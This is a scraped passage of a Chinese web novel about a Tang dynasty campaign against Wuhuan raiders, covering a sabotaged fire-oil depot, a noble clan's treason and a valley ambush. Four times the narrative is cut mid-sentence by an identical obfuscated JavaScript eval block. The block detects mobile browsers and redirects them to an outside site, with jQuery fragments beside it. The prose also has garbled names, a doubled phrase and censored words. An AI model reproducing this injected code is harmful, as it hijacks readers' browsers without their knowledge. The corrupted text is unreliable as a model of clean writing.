一队乌桓的留守士兵,正推着几辆独轮车,小心翼翼地朝着废墟深处的一座半塌的仓库走去。
车上,放着一个个用黑布包裹得严严实实的陶罐。
李君羡的呼吸停滞了。
他在这片废墟里潜伏了两天,像个真正的幽灵,早就摸清了这伙留守敌人的动向。
他们很谨慎,也很忙碌,似乎在转移什么重要的东西。
现在,他终于看到了实物。
他等到那队乌桓士兵将陶罐搬进仓库,又等到巡逻的队伍走远,才从阴影里一点点挪了出来。
他像一条受伤的狼,悄无声息地贴着地面爬行,绕到了仓库的后方。
这里有一处被大火烧出来的窟窿,刚好够一个人钻进去。
仓库里弥漫着一股奇异的气味,不是火烧后的焦糊,也不是尸体腐烂的恶臭,而是一种刺鼻的、带着油腻感的味道。
李君羡匍匐在一堆烧焦的横梁后,看着那些码放整齐的陶罐。
他抽出腰间那把已经卷了刃的横刀,用刀尖,小心翼翼地划开其中一个陶罐顶部的蜡封。
一股更加浓烈的气味,瞬间涌了出来。
李君羡的瞳孔猛地张大。
是猛火油!
大唐军械库里严格管控的攻城利器!
崔家,他们不仅给乌桓人提供了地图,提供了粮草,他们竟然,还把这种足以焚毁城池的国之重器,交到了敌人手上!
“天火……”
李君“羡的牙齿咬得咯咯作响,嘴里全是铁锈味。
他终于明白了那个军官临死前喊出的两个字是什么意思。
这些乌桓杂碎,是想用大唐的武器,来烧大唐的城!
……
代州城下。
乌桓首领邑落烦躁地将手中的弯刀插进面前的土地里。
断盐已经两天了。
战马开始变得萎靡,失去了往日的彪悍。
那些负责提供补给的世家豪族,像是一夜之间全都哑巴了,再也送不来一粒盐。
他派出去的斥候回报说,唐军的主力正在河北道慢吞吞地集结,看样子,短时间内根本到不了。
可他等不了了。
“把那些抓来的唐人,全都给老子押上来!”邑落对着身后的亲卫咆哮道。
很快,数千名在周边村庄被俘虏的大唐百姓,男女老少,被驱赶到了阵前。
他们被绳索捆绑着,脸上写满了惊恐和绝望。
邑落策马走到阵前,抬头望着城墙上那些严阵以待的唐军,发出了野兽般的狂笑。
“城上的唐狗!给你们的皇帝爷爷听好了!”
“从现在起,每过一炷香的时间,我就在你们面前,杀一百个人!”
“直到你们打开城门,跪地投降为止!”
城墙上,都督杜兴双目赤红,指甲深深抠进了冰冷的城砖里,鲜血顺着砖缝往下流。
“将军!跟他们拼了!”
“不能让他们这么屠戮我们的乡亲!”
身边的年轻士兵们一个个红了眼,纷纷请战。
“不许动!”杜兴的声音嘶哑得不成样子,“我们这点人冲出去,就是送死!救不了人,还会把代州城也搭进去!”
他心里清楚,这是敌人的攻心之计。
可这阳谋,根本无解。
他只能眼睁睁地看着,看着城下那一百名被推出来的百姓,跪在地上瑟瑟发抖。
乌桓的刽子手,已经举起了屠刀。
时间,仿佛在这一刻凝固。
城上城下,所有人的心都提到了嗓子眼。
就在屠刀即将落下的那一瞬间!
“轰——!!!”
一声惊天动地的巨响,从遥远的北方传来。
紧接着,一团巨大无比的火球,冲天而起,将半个夜空都照得如同白昼!
那恐怖的爆炸声,仿佛是天神在发怒,连代州坚固的城墙都为之震颤。
城下的乌桓军阵,瞬间陷入了一片混乱。
所有人都被这突如其来的变故惊呆了,纷纷回头望向自己大营的方向。
只见那片他们以为固若金汤的后方营地,此刻已经化作一片火海。
接二连三的爆炸声不断响起,无数的帐篷、粮草、辎重,都在烈焰中化为灰烬。
“怎么回事?!”邑落一把揪住身边的斥候,面目狰狞地吼道,“是唐军!是唐军的主力杀过来了吗?!”
他怎么也想不通,唐军的动作怎么可能这么快!
火海之中,一道鬼魅般的人影,正在飞速穿行。
李君羡引爆了整个猛火油仓库。
他趁着爆炸引发的混乱,用横刀劈开了一处关押着俘虏的栅栏。
里面,是十几名被俘的唐军斥候。
“弟兄们!还能动的,跟我走!”李君羡的声音嘶哑,却带着一股不容抗拒的力量。
一名斥候认出了他,又惊又喜:“是李……李统领!您还活着!”
“活着!”李君羡将一把从乌桓士兵尸体上捡来的弯刀丢给他,“林大人呢?长安有什么动静?”
“林大人在太原府!他老人家已经接管了河北、河东两道的军务,正在调兵遣将!”
太原府!
李君羡的心头一震,一个清晰的目标在脑海中形成。
代州城下,邑落看着自己被烧成白地的后营,看着那些被付之一炬的攻城利器,气得浑身发抖。
他以为是唐军主力绕后偷袭,断了他的根。
“撤!全军回防!给老子把那支唐军找出来,碎尸万段!”
他顾不上去屠杀那些俘虏了,拨转马头,带着主力大军,疯了似的朝着“风眼”要塞的方向冲去。
一场迫在眉睫的屠杀,就此消弭于无形。
城墙上,杜兴和所有守军都看傻了。
他们不知道发生了什么,只看到那支不可一世的乌桓大军,突然间就仓皇撤退了。
而在数十里之外的荒野中。
李君羡带着那十几名被他救出来的斥候,借着对地形的熟悉,迅速消失在茫茫的夜色里。
他回头看了一眼那片冲天的火光,又望向了太原府的方向。
他的手里,紧紧攥着一块从猛火油陶罐上掰下来的碎片。
“天火”的秘密,崔家更深层次的叛国罪证,必须亲手交到林浩手上。
第138章:送乌桓一份回不了家的大礼
夜色如墨,太原府的后衙灯火通明。
一个浑身焦黑的人影,被两名亲兵搀扶着,踉踉跄跄地闯了进来。
他整个人像是一截从火里扒出来的焦炭,身上的甲胄和皮肉黏连在一起,分不清彼此。
他每走一步,都在地上留下一个淡淡的血印。
“林……大人……”
沙哑的声音从他干裂的喉咙里挤出来,几乎听不清。
正在地图前凝神思索的林浩转过身,看到来人的瞬间,原本平静的脸上也出现了一丝波动。
“李君羡?”
他快步上前,扶住摇摇欲坠的李君羡。
“是我……”李君羡推开亲兵,用尽最后的力气,从怀里掏出一件硬物,死死地塞进林浩手里,“大人……‘天火’……崔家……”
说完这几个字,他再也支撑不住,身体一软,径直昏了过去。
“快!传军医!”林浩对着门外吼道。
他摊开手掌,掌心躺着一块不规则的陶罐碎片。
碎片上还残留着一股奇异的油腻感和刺鼻的气味。
林浩将碎片凑到鼻尖,轻轻一嗅。
猛火油。
他的表情变得异常凝重。
这东西,怎么会出现在乌桓人的大营里?
“大人!您找我?”
薛万彻一身酒气,大步流星地从外面闯了进来,脸上挂着邀功的兴奋。
“哈哈!大人您真是神了!那帮孙子果然偷偷运盐,被俺老薛逮了个正着!您猜怎么着?带头的是兵部侍郎崔进的人!这下可是捅了天大的篓子!”
他的笑声在看到被抬上担架、不成人形的李君羡时,戛然而止。
“这……这是不良人的李统领?他怎么……”
林浩没有回答,只是将那块陶罐碎片和一张写着“崔进”二字的纸条,并排放在了桌案的地图上。
“薛将军,你再看看这个。”
薛万彻疑惑地走上前,拿起那块碎片闻了闻,脸色先是茫然,随即变得煞白。
他常年驻守边关,对军中的各种利器再熟悉不过。
“猛……猛火油?!”他失声叫了出来,手一抖,碎片差点掉在地上。
“天火……”薛万彻的嘴唇哆嗦着,脑子里炸开了一道惊雷。
他想起了那个被他用盐砖烙死的军官,想起了那人临死前用尽全力喊出的两个字。
原来,是这个意思!
一股无法言喻的寒意,顺着他的脊梁骨爬了上来。
他看着桌上的碎片,又看看旁边的名字,只觉得浑身的血液都快要凝固了。
“崔家……崔进……”薛万-彻的声音都在发颤,“他们……他们不止是送粮送盐……他们还想用这东西……烧我们的城?”
“不止是烧城。”林浩的声音很平静,但每个字都像是一块冰,砸在薛万彻的心头。
“他们献上布防图,引五千乌桓精骑绕过雁门关,是为了在代州制造一场**,动摇北境的根基。”
“他们断绝我们的烽火,是为了让朝廷变成聋子和瞎子,无法及时反应。”
“而这猛火油,是他们的最后一步棋。当乌桓骑兵将代州城外的村庄屠戮殆尽,城中军民士气崩溃之时,他们就会用我们大唐的‘天火’,将代州,连同城里数万军民,一起烧成灰烬。”
林浩顿了顿,拿起那张写着“崔进”二字的纸条。
“到那时,一个兵部侍郎站出来,将战败的责任全部推给守将无能,再联合朝中那些盘根错节的世家党羽一同发难,你觉得,陛下的龙椅,还坐得稳吗?”
薛万彻听得冷汗直流,后背的衣衫瞬间湿透。
他只想着打仗杀敌,何曾想过这背后竟藏着如此歹毒、如此环环相扣的灭国之计!
这已经不是叛国了。
这是要掘了大唐的根,要让李家的江山,在烈火和血泊中彻底崩塌!
“操**!”
薛万彻一拳狠狠砸在桌子上,震得茶杯都跳了起来,“这群吃里扒外的畜生!老子现在就带人去长安,把那个叫崔进的狗东西剁成肉酱!”
“现在还不是时候。”林浩按住了他的肩膀,“李君羡能活着回来,说明他们的计划已经失败了。”
恰在此时,一名军医匆匆走了过来,对着林浩躬身。
“大人,李统领已经醒了。”
偏房内,李君羡喝了几口水,气息平稳了许多。
他将“风眼”要塞发生的一切,原原本本地叙述了一遍。
从不良人潜入,到发现祭坛和唐朝官服的黑手,再到夺取布防图,以及最后他引爆猛火油仓库,炸毁乌桓后营的全过程。
“我炸了他们所有的‘天火’,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435711|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烧了他们大部分的粮草。邑落气疯了,以为是我们的主力绕后突袭,已经放弃围困代州,带着主力回援‘风眼’要塞。”
李君羡靠在床头,声音虚弱却带着一丝快意。
“乌桓军心已乱,加上断盐之策,他们现在就是一群没头苍蝇,撑不了多久。”
林浩静静地听着,手指在桌面上无意识地画着圈。
“你做得很好。”他看着李君羡,“接下来,好好养伤。剩下的事,交给我。”
他走出偏房,薛万彻立刻跟了上来。
“大人,既然乌桓人已经乱了,咱们是不是可以……”
“不。”林浩打断了他,“你以为,崔家百年的布局,就只有这么点东西吗?”
他走到地图前,拿起一支朱笔。
“猛火油被毁,对他们来说只是一个意外。但只要崔进还在兵部,只要那些藏在暗处的世家还在,他们就能给乌桓人送去第二批,第三批‘天火’。”
“我们打掉的,只是毒蛇露在外面的一颗毒牙。它的身子,还盘踞在长安。”
林浩的目光在地图上缓缓移动,从代州,到忻州,再到更南边的太原府。
“李君羡说,邑落带着主力回援了。一支五千人的骑兵,在粮草和盐都极度紧缺的情况下,急行军回援一个已经被炸成废墟的空营地,你不觉得奇怪吗?”
薛万彻愣住了,他挠着头,想不明白其中的关窍。
“他们回去,不是为了救火,是为了拿东西。”林浩的朱笔,在地图上一个叫“黑石谷”的地方,重重地画了一个圈。
“那里,是崔家另一处秘密的物资转运点。也是他们给乌桓人准备的第二个‘后营’。”
薛万彻瞪大了眼睛,他看着林浩,仿佛在看一个怪物。
这些情报,李君羡根本没提过,他是怎么知道的?
林浩没有解释,他只是看着地图上的那个红圈,嘴角扬起一抹冰冷的弧度。
他转头看向薛万彻,下达了命令。
“传令下去,你手下那一百‘马匪’,不必再劫道了。”
“让他们换上最好的装备,带足干粮和水。”
林浩拿起那块猛火油的碎片,在指尖轻轻转动。
“邑落想玩火,我们就送他一场更大的。”
“一场……回不了家的火。”
第139章:请君入瓮!为乌桓准备豪华墓地
薛万彻看着地图上那个被朱笔圈出的“黑石谷”,脑子里还是一团浆糊。
他感觉自己的脑子完全跟不上林浩的思路。
“大人,您……您是怎么知道那地方的?”
“我不知道。”林浩的回答让薛万彻更懵了,“我猜的。”
林浩的手指在地图上轻轻滑动,从“风眼”要塞,划出一条弧线,最终落在了黑石谷上。
“但这不是瞎猜。”
“薛将军,你之前查抄崔家的运盐队,除了盐,还发现了什么?”
薛万彻一拍大腿。
“精饲料!大量的精饲料,足够五千匹战马吃上半个月!”
“没错。”林浩的指尖在黑石谷的位置上点了点,“盐是给人吃的,精饲料是给战马吃的。崔家既然处心积虑地给乌桓人送补给,就不会只准备一个地方。”
“‘风眼’要塞是他们的第一处交接点,也是吸引我们注意力的靶子。李君羡一把火烧了那里,对邑落来说是重创,但绝不是绝路。”
林浩抬起头,看着薛万彻。
“一个饿疯了的狼,在发现第一个窝被掏了之后,会做什么?它会发疯一样地跑向第二个,也是最后一个藏食物的窝。”
“黑石谷,就是崔家给他们准备的第二个窝。那里,不仅有粮食和草料,恐怕还有第二批,甚至更多的‘天火’。”
薛万彻听得额头冒汗。
他这才明白,崔家这盘棋下得有多大,多阴险。
这根本不是一次简单的勾结,而是一个准备了数年,甚至数十年的庞大计划。
一环扣一环,招招致命。
“那我们……”薛万彻的声音有些干涩。
“邑落现在肯定带着他那五千骑兵,正发了疯似的往黑石谷赶。我们必须比他更快。”林浩的声音异常平静。
“我们要在他抵达之前,在黑石谷张开一个口袋,等他一头钻进来。”
他转向薛万彻,语气不容置喙。
“我要你手下那一百‘马匪’,立刻整备。最好的马,最快的刀,带足三天的干粮和水。一个时辰后,我要看到他们能随时出发。”
“是!”
薛万彻不再多问,转身大步离去。
他现在对林浩的判断,已经没有半分怀疑。
林浩看着他的背影,又低头看了一眼那块猛火油的碎片。
他叫来一名亲兵,低声吩咐了几句。
“去军械库,找最好的工匠,仿照这个样式,连夜给我赶制一百个陶罐。记住,罐子要做得薄一些,一摔就碎。里面……什么都不用装。”
偏房里,军医刚刚给李君羡换好药。
他全身的烧伤触目惊心,许多地方的皮肉都碳化了,散发着一股焦糊味。
“大人,李统领的伤势太重了,五脏六腑都被高温灼伤,他能活下来已经是奇迹。接下来必须静养,绝不能再动了。”军医忧心忡忡地对林浩说。
林浩点了点头,走到床边。
李君羡的意识还算清醒,他看到林浩,挣扎着想坐起来。
“别动。”林浩按住他,“你把命捡回来,不是为了现在逞能的。”
“大人……乌桓人……”
“我已经知道了。”林浩打断他,“我需要你告诉我,邑落麾下那支骑兵的特点,他们的作战习惯,还有……他们的弱点。”
李君羡不再坚持,他躺在床上,用虚弱但清晰的声音,将自己多年来与乌桓人交战的经验,一点一滴地全部说了出来。
从乌桓骑兵冲锋时的阵型变化,到他们弓箭手的射击频率,再到邑落本人好大喜功、容易被激怒的性格弱点。
这些都是用不良人的鲜血换来的宝贵情报。
林浩静静地听着,将每一个细节都记在心里。
一个完整的伏击计划,在他的脑海中飞速成型。
一个时辰后,一百名精锐骑兵在后衙的院子里集结完毕。
他们已经脱下了唐军的制式铠甲,换上了一身五花八门的皮衣布袄,脸上涂抹着泥灰,腰间挂着各式各样的弯刀,看上去和真正的马匪别无二致。
但他们跨下的战马,却是清一色的河东骏马。
他们身上那股肃杀之气,更是寻常盗匪装不出来的。
薛万彻站在队伍前,面色肃然。
“弟兄们,咱们这趟差事,不是去当英雄,是去当屠夫!”
他的声音不大,却清楚地传进每个人的耳朵里。
“我们要去的地方叫黑石谷,那里有一群比狼还狠的杂碎,还有一群卖祖宗的狗东西!林大人设好了口袋,咱们的任务,就是把口袋的绳子给我扎紧了!进去的,一个都别想活着出来!”
“这次,我们不仅要他们的命,还要缴获他们所有的东西!那些东西,是钉死崔家那帮畜生的棺材钉!都听明白了吗?”
“明白!”一百人齐声低吼,声如闷雷。
就在此时,一名斥候从夜色中奔回,单膝跪在林浩面前。
“大人,已探明黑石谷地形!谷口狭窄,内里却别有洞天,是一片开阔的盆地,四面环山,只有一条路可以进出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435712|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。确实是易守难攻!”
“但我们在南面的山壁上,发现了一条只有当地采药人才知道的隐秘小道,可以绕到盆地的侧后方。”
林浩的脸上终于露出了一丝笑意。
他走到地图前,拿起朱笔,在黑石谷南面的山脉上,画下了一个标记。
“好,这叫天助我也。”
他将薛万彻和几名斥候队长叫到身前,指着地图上的那个标记,开始布置具体的任务。
“薛将军,你带九十人,正面埋伏在谷口两侧的山林里。记住,没有我的命令,不许放一箭,不许出一人。就算乌桓人的马蹄子踩到你们脸上,也得给老子憋住!”
“另外十个人,跟着我,走那条小道。”
薛万彻愣住了。
“大人,您也要去?那地方太危险了!”
“最危险的地方,往往是制胜的关键。”林浩拍了拍他的肩膀,“放心,我比你更惜命。”
他看向那十名被点到的骑兵。
“你们的任务,就是把这一百个‘宝贝’,悄悄地送到乌桓人后方的山崖上。”
亲兵抬过来十个大箱子,里面装着的,正是军械库连夜赶制出来的那一百个空心陶罐。
“我要你们在邑落的军队全部进入山谷后,把这些罐子,全都给我扔下去。”
林浩拿起一个陶罐,在手里掂了掂。
“记住,别砸人,就往他们战马最密集的地方砸。”
“这些罐子一摔就碎,里面是空的,不会伤人。但那清脆的碎裂声,在寂静的山谷里,会变成什么样,你们可以自己想象。”
“战马受惊,阵型大乱,到那时候……”
林浩的嘴角勾起一抹弧度。
“就是薛将军收口袋的时候了。”
就在林浩布置完毕,准备出发之际。
一只信鸽扑棱着翅膀,落在了太原府的房檐上。
一名亲兵取下信筒,快步送到林浩面前。
林浩展开纸条,上面的字迹寥寥数语。
“崔进已被软禁,朝中暗流涌动,静待北境捷报。——李二。”
林浩将纸条凑到烛火上,看着它化为灰烬。
北境这一战,不仅关系到代州的安危,更关系到长安朝堂的稳定。
他必须赢,而且要赢得干脆利落。
他翻身上马,看了一眼整装待发的薛万彻和那百名精锐。
“出发!”
夜色深沉,一百一十人的队伍,如同一群融入黑暗的幽灵,悄无声息地离开了太原府,向着北方的黑石谷,疾驰而去。
第140章:天罗地网,老子等你好久了!
月光被乌云遮蔽,北地的荒野陷入一片伸手不见五指的黑暗。
一百一十骑在旷野上疾驰,马蹄被厚厚的棉布包裹,踩在地上只发出沉闷的“噗噗”声,被风一吹就散了。
薛万彻一马当先,他身上那件破烂的羊皮袄在夜风中猎猎作响,脸上涂抹的泥灰让他看起来和真正的马匪头子没什么两样。
他身后的百名精锐,个个都是从**堆里爬出来的悍卒,此刻却像一群真正的狼群,沉默而高效地在夜色中穿行。
他们避开了所有官道,专挑崎岖难行的小路。
偶尔遇到乌桓的游骑,他们便会提前隐入山林或沟壑,像石头一样一动不动,直到对方的马蹄声远去。
这支队伍,仿佛彻底融入了这片黑暗的荒野。
……
与此同时,在他们前方数十里外,另一支队伍正在艰难地行进。
五千乌桓骑兵的行军队列拉得极长,火把的光芒在夜色中摇曳,像一条垂死的火龙。
士气低落到了极点。
断盐已经三天,许多士兵浑身乏力,连抬起手臂都觉得费劲。
战马也因为缺少精饲料而变得萎靡不振,耷拉着脑袋,脚步虚浮。
“首领这是要带我们去哪?再走下去,不等遇到唐军,我们自己就先垮了。”
一名年轻的乌桓士兵压低声音,对身边的同伴抱怨。
他的同伴是个老兵,闻了闻空空如也的水囊,有气无力地回答:“闭嘴吧,你想被挂在旗杆上吗?首领说了,黑石谷有我们想要的一切,粮食、盐巴,还有……女人。”
尽管老兵提到了女人,但周围的士兵脸上却没有半点兴奋,只有化不开的疲惫和麻木。
队伍中央,邑落骑在一匹神骏的黑马之上,脸色阴沉得能滴出水来。
“风眼”要塞的冲天大火,像一记响亮的耳光,狠狠抽在他的脸上。
他精心准备的“天火”,他囤积的粮草,一夜之间化为乌有。
“废物!都是废物!”他烦躁地挥舞着马鞭,抽打着空气,“连后营都守不住!”
一名亲卫小心翼翼地凑上前:“首领,斥候回来了。”
“说!”
“方圆五十里内,没有发现唐军主力的踪迹。他们的大部队,似乎还在忻州一带集结,行动非常缓慢。”
这个消息让邑落紧绷的脸孔终于有了一丝松动。
“哈哈哈!”他放声大笑,笑声在寂静的夜里显得格外刺耳,“李世民的军队,就是一群慢吞吞的乌龟!他们以为烧了我的后营,我就没办法了吗?”
他环顾四周,高声对疲惫的部下们喊道:“都给我打起精神来!唐军主力还在百里之外!黑石谷就在前面,那里有崔家为我们准备好的第二个宝库!比‘风眼’要塞多十倍的粮食和牛羊!”
“到了那里,你们可以尽情吃喝!三天之后,我们再去屠了代州城!”
重赏的许诺,让原本死气沉沉的队伍,勉强恢复了一点生气。行军的速度,似乎也快了一些。
邑落看着这一切,脸上露出了残忍的笑容。
他完全没有察觉,一张为他量身定做的大网,已经悄然张开。
……
黎明前最黑暗的时刻,薛万彻的队伍终于抵达了黑石谷外围。
一名穿着猎户衣服的斥候,从一棵大树后闪身而出,单膝跪地。
“薛将军,一切如林大人所料。乌桓人的先头部队,离谷口不到十里了。”
“谷内情况如何?”薛万彻翻身下马,声音压得很低。
“谷口有几处简陋的岗哨,但看上去都很松懈。谷内是一片开阔盆地,四面环山,只有一条路可以进出。我们在南面的山壁上,找到了那条采药人走的小道,已经派人守住了。”
薛万彻走到一处高坡,借着微弱的星光,俯瞰着下方那个巨大的黑色豁口。
黑石谷,像一只张开巨口的怪兽,正静静地等待着猎物上门。
“传令下去。”薛万彻的声音没有一丝波澜,“九十人,随我埋伏在谷口两侧的山林里。弓上弦,刀出鞘。没有我的命令,谁敢弄出一点动静,老子亲手拧下他的脑袋!”
“是!”
“剩下的人,跟着林大人的亲兵,走小道,上南山!”
他拍了拍那十名即将带着空陶罐上山的骑兵的肩膀。
“你们手里的东西,是咱们今天晚上能不能吃上肉的关键。记住林大人的话,别砸人,就往马多的地方扔!”
安排好一切,薛万彻亲自带着九十名“马匪”,如同鬼魅一般,悄无声息地潜入了谷口两侧的密林之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441205|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中。
所有人屏住呼吸,与黑暗融为一体。
冰冷的杀气,在林间无声地弥漫。
……
太原府,后衙。
林浩站在巨大的沙盘前,上面精确地还原了代州到太原府一带的所有地形。
黑石谷的位置,插着一支小小的黑色旗帜。
一只信鸽从窗外飞入,亲兵取下信筒,快步呈上。
林浩展开纸条,上面只有一行字:“乌桓已近,我部就位。——薛。”
他将纸条放在烛火上,看着它化为灰烬。
一切,都在按照他的剧本上演。
……
天边,开始泛起一丝鱼肚白。
远方的地平线上,终于出现了一片晃动的火光,并且在迅速扩大。
来了!
薛万彻趴在灌木丛后,心脏不自觉地加速跳动。
他看到乌桓人的骑兵队伍,拉成一条长蛇,队形散乱,毫无防备地朝着谷口涌来。
最前面的先锋部队,甚至在马上嬉笑打闹,似乎完全不担心有任何危险。
他们太饿了,太累了,也太相信斥候的情报了。
先头部队数百人率先涌入谷口,在看到谷内开阔的地形后,发出一阵欢呼。
他们迫不及待地翻身下马,开始安营扎寨,生火烧水,等待后续部队的到来。
越来越多的乌桓骑兵涌入山谷。
五百,一千,三千……
整个山谷盆地,很快被黑压压的人群和马匹填满,火把的光芒映亮了每个乌桓士兵那充满渴望和贪婪的脸。
薛万彻的呼吸变得有些粗重,他握着刀柄的手上,青筋暴起。
他还在等。
等那个最重要的人。
终于,在一众亲卫的簇拥下,一个骑着高大战马、身披狼皮大氅的身影,出现在了谷口。
正是邑落!
薛万彻的瞳孔微微一缩。
邑落显然心情极好,他勒住战马,张开双臂,仿佛要拥抱这个即将到手的巨大宝库,发出一阵志得意满的大笑。
就是现在!
薛万彻看着谷底那个不可一世的身影,缓缓举起了自己的右手。
山崖之上,负责投掷陶罐的十名精锐,在看到谷口林中一闪而过的信号后,对视一眼,同时举起了手中的陶罐,对准了下方最密集的马群。
第141章:惊天陷阱,送你一份团灭大礼
邑落志得意满的大笑声,还在狭窄的谷口回荡。
山崖之上,林浩那十名亲兵脸上没有半分表情,手臂肌肉贲起,将手中沉甸甸的陶罐奋力掷出。
一百个黑乎乎的陶罐,在空中划出一百道凌乱的抛物线,越过数百名乌桓骑兵的头顶,狠狠砸向了他们后方最密集的马群。
“啪!啪啦——!”
清脆的碎裂声,在寂静的山谷里被无限放大,密集得如同腊月里爆开的炒豆。
那声音,对人来说只是有些刺耳。
但对那些早已因缺盐断料而焦躁不安的战马而言,却不啻于死神的催命符。
一匹战马受惊,猛地人立而起,将背上的主人掀翻在地。
它的恐慌,像瘟疫一样瞬间传染开来。
“唏律律——!”
凄厉的马嘶声此起彼伏。
成百上千匹战马疯了一般地开始冲撞、踩踏,它们甩动着头颅,血红的眼睛里满是恐惧。
原本还算有序的队伍,顷刻间乱成了一锅沸粥。
乌桓士兵们被自己的坐骑撞得东倒西歪,咒骂声、惨叫声和马匹的悲鸣混杂在一起,彻底淹没了邑落的笑声。
“稳住!都给老子稳住!”
邑落脸上的笑容僵住了,他惊怒交加地拔出弯刀,试图弹压混乱,但无济于事。
他的声音,在这片巨大的混乱中,渺小得可怜。
就在此时,薛万彻那只高举的右手,狠狠劈下!
“给老子放!”
一声野兽般的咆哮,从谷口两侧的山林中炸响。
“嗖嗖嗖!”
密集的箭雨,带着死亡的呼啸,从天而降,精准地覆盖了谷口位置的乌桓先锋。
猝不及不及的乌桓士兵,像被割倒的麦子一样成片倒下。
紧接着,是数十个被点燃的火把,拖着长长的焰尾,被扔进了乌桓军阵中。
干燥的皮甲和马匹的鬃**瞬间被点燃,火光冲天,浓烟滚滚。
“轰隆隆——”
山林两侧,早已准备好的滚木和巨石被推下。
巨大的石块裹挟着万钧之势,砸进拥挤的人群,瞬间便是一片血肉模糊。
粗壮的滚木横冲直撞,将乌桓人好不容易组织起来的一点点阵型,冲得七零八落。
前进的道路,被火焰和尸体堵死。
后退的道路,被自己人惊慌的马匹踩踏成一片炼狱。
五千乌桓精骑,就这么被死死地钉在了这片开阔却无处可逃的盆地里。
“有埋伏!有唐军!”
“冲出去!快冲出去啊!”
乌桓人终于反应过来,恐惧彻底取代了他们脸上对宝藏的渴望。
可他们往哪里冲?
骑兵的优势在于机动和冲锋。
而在这片被堵死的山谷里,他们引以为傲的战马,反而成了最致命的累赘。
“一群废物!反击!给老子反击!”
邑落气得目眦欲裂,他一刀砍翻了身边一匹失控的战马,嘶声力竭地咆哮着。
他身边的亲卫队还算精锐,迅速结成一个圆阵,护住了他,开始弯弓搭箭,朝着山林中胡乱射击。
但他们的反击,在精心准备的伏击面前,显得那么苍白无力。
“操**,轮到老子们上场了!”
薛万彻将手中的强弓往地上一扔,抽出腰间那把厚重的横刀。
“弟兄们,跟我下山,剁碎这帮杂碎!”
他一马当先,从山坡的密林中冲出,身后跟着九十名同样打扮的“马匪”。
这支队伍,不像正规军那样队列整齐,他们三五成群,像一把把锋利的小刀,从山坡的各个角度,狠狠地扎进了乌桓军混乱的侧翼。
他们没有喊杀声,只有沉重的呼吸和利刃入肉的闷响。
一名乌桓百夫长刚刚组织起十几个手下,试图朝着谷口突围,薛万彻的身影就出现在他面前。
那百夫长怒吼一声,举刀便砍。
薛万彻看都不看,侧身避过刀锋,手中的横刀顺势一抹。
一颗大好头颅冲天而起,脖腔里的血喷出数尺之高。
周围的乌桓兵看得胆寒,还没来得及反应,薛万彻身后的“马匪”们就已经扑了上来,干净利落地结果了他们。
这就是**。
一场有预谋的,针对性的**。
这些所谓的“马匪”,每一个都对乌桓人的作战方式了如指掌。
他们专找乌桓军官下手,专挑对方阵型衔接的薄弱处撕咬。
他们的刀法狠辣而高效,没有一个多余的动作,每一刀都奔着要害而去。
就在乌桓军的混乱即将达到顶峰时,山崖之上,第二波“礼物”到了。
又是几十个陶罐被扔了下来。
但这一次,陶罐里不再是空的。
“啪啦!”
陶罐碎裂,一股黄色的粉末和刺鼻的浓烟,迅速在人群中弥漫开来。
“咳咳……这是什么鬼东西!”
“啊!我的眼睛!我的眼睛睁不开了!”
那股由硫磺和辣椒粉混合而成的烟雾,辛辣无比,熏得人眼泪直流,喉咙里火烧火燎,完全无法呼吸。
人和马,都在这片黄色的毒雾中剧烈地咳嗽、翻滚。
刚刚勉强维持住的阵型,再一次彻底崩溃。
邑落也被呛得连连咳嗽,他用袖子捂住口鼻,看着眼前这地狱般的景象
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441206|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一股寒气从心底升起。
这些唐军……不,这些人,到底是哪里冒出来的?
他们的打扮是马匪,可这层出不穷的歹毒手段,这严明高效的杀戮机器,比大唐最精锐的边军还要可怕!
“首领!快走!我们顶不住了!”
一名亲卫队长浑身是血地冲到邑落身边,脸上写满了绝望。
“走?往哪走?”
邑落环顾四周,谷口已是一片火海,尸体堆积如山,根本无法通行。
